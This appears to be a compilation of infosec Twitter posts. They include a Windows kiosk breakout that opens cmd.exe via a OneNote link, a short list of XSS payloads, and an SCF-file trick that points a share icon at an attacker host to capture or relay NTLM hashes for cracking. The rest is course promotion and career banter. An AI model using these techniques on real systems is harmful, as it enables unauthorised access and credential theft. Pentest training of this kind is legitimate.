Windows Kiosk breakout tip:
If you get a Printing panel, and the traditional methods don't work:
Amongst the printers, select "SendTo OneNote"
OneNote will launch -> Add new notebook
On the Notebook -> New page
Type: \\127.0.0.1\c$\windows\system32\cmd.exe
Click the link
Since releasing my malware analysis course, I've had a lot of people asking about Virusbay access - well I'm happy to announce that I've teamed up with VB to bundle my course with a code for immediate access to the platform! Check it out! https://t.co/ifP0vkxrgZ 1/2 @virusbay_io
Malware Development – Welcome to the Dark Side:-
Part 1:-
https://t.co/RVBbo3Opmt
Part 2-1 –
https://t.co/v9etUcVUw6
Part 2-2:-
https://t.co/KzCqxNzz6K
Part 3:-
https://t.co/3wAwYkWO6W
Part 4:-
https://t.co/jq2ZIrMuUz
Here's a small #XSS list for manual testing (main cases, high success rate).
"><img src onerror=alert(1)>
"autofocus onfocus=alert(1)//
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//
javascript:alert(1)
Try it on:
- URL query, fragment & path;
- all input fields.
Need creds on a local network? Found an open network share?
1) Create an scf file with the following:
[Shell] Command=2 IconFile=\\X.X.X.X\share\test.ico
[Taskbar] Command=ToggleDesktop
2) Upload to the share.
3) Run your capture tool or relay creds.
4) Wait, crack hash, enjoy
@digital_human@malwrhunterteam This is a combination of Russian and Georgian. It translates to Russian (pardon my French here) as "пиздец тебе сука". In english it's more like "b$tch, you are f#cked". Hope it helps
Recently I fell in love with something new, and now it's time to share it with the world! 🌈
Here are 5 reasons why you should start doing CTFs! :)
https://t.co/k6K4LQeNdL
I found another resource for students. AWS Educate will give you free access to learning tools and an AWS lab setup so you can learn about their cloud computing solutions. You need to sign up with your educational email address to gain access. https://t.co/R9orRE9j7l
Seems like all infosec people need the follow experience:
10 years military command
10 years C programming
10 years pen testing
10 years helpdesk
10 years network engineer
10 years sysadmin
10 years reverse engineer
Plus a CISSP and Bachelors degree